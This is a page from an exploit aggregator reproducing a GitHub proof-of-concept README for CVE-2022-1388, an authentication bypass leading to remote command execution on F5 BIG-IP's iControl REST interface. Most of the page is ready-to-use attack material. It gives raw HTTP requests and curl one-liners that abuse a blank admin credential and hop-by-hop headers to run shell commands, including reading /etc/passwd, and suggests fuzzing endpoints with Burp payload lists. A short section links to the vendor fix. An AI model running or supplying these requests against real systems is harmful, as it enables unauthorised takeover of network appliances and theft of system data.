Sploitus

Exploit for Missing Authentication for Critical Function in F5 Big-Ip Access Policy Manager

githubexploit · 2022-05-09

Exploit Code

README83 lines
## https://sploitus.com/exploit?id=72B3CFC1-AEFB-50A1-A539-E08548C6F8E8
# F5 BIG-IP RCE exploitation (CVE-2022-1388)





POST (1): 
![poc_id](https://user-images.githubusercontent.com/3140111/167375637-54878b95-0897-4ae6-92e0-60ab4cac5c62.png)
```ruby
POST /mgmt/tm/util/bash HTTP/1.1
Host: :8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0

{"command": "run" , "utilCmdArgs": " -c 'id' " }

```
curl commandliner: 
```ruby
$ curl -i -s -k -X $'POST' \
-H $'Host: :8443' \
-H $'Authorization: Basic YWRtaW46' \
-H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
-H $'Content-Length: 52' \
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \'id\' \" }\x0d\x0a' \
$'https://:8443/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080
```
POST (2):
![poc_pass](https://user-images.githubusercontent.com/3140111/167375725-2a5403c1-f99a-427a-b99a-a18bc8f7f54c.png)
```ruby
POST /mgmt/tm/util/bash HTTP/1.1
Host: :8443
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0

{"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }

```
curl commandliner:
```ruby
$ curl -i -s -k -X $'POST' \
-H $'Host: :8443' \
-H $'Authorization: Basic YWRtaW46' -H $'Connection: keep-alive, X-F5-Auth-Token' \
-H $'X-F5-Auth-Token: 0' \
--data-binary $'{\"command\": \"run\" , \"utilCmdArgs\": \" -c \' cat /etc/passwd\' \" }\x0d\x0a\x0d\x0a' \
$'https:///mgmt/tm/util/bash' --proxy http://127.0.0.1:8080
``` 
Note: 
```
Issue could be related between frontend and backend authentication "Jetty" with empty credentials "admin: " 
+ value of headers ,see "HTTP hop_by_hop request headers"...
```
My BIG-IP now fixed: 

![image](https://user-images.githubusercontent.com/3140111/167377761-91e37bd9-9461-4914-97ee-6e8e6366611b.png)

References and Fixes : 
* https://support.f5.com/csp/article/K23605346
* https://vulners.com/cve/CVE-2022-1388

Here the documentation used latest nites:
* https://clouddocs.f5.com/api/icontrol-rest/ 

HTTP hop_by_hop request headers: 
* https://portswigger.net/research/top-10-web-hacking-techniques-of-2019-nominations-open

F5 iControl REST Endpoint Authentication Bypass Technical Deep Dive by horizon3
* https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/

My notes:
* Updated with my icontrol endpoints and commands list used on my research (extracted from public documentation)
* Could use Burp with "cluster  bomb" or "Battering ram" (simple list) e.g 

**Payload1**: icontrol_api_endpoints.txt 
**Payload2**: icontrol_api_commands.txt 


# Author
Alex Hernandez aka (@\_alt3kx\_)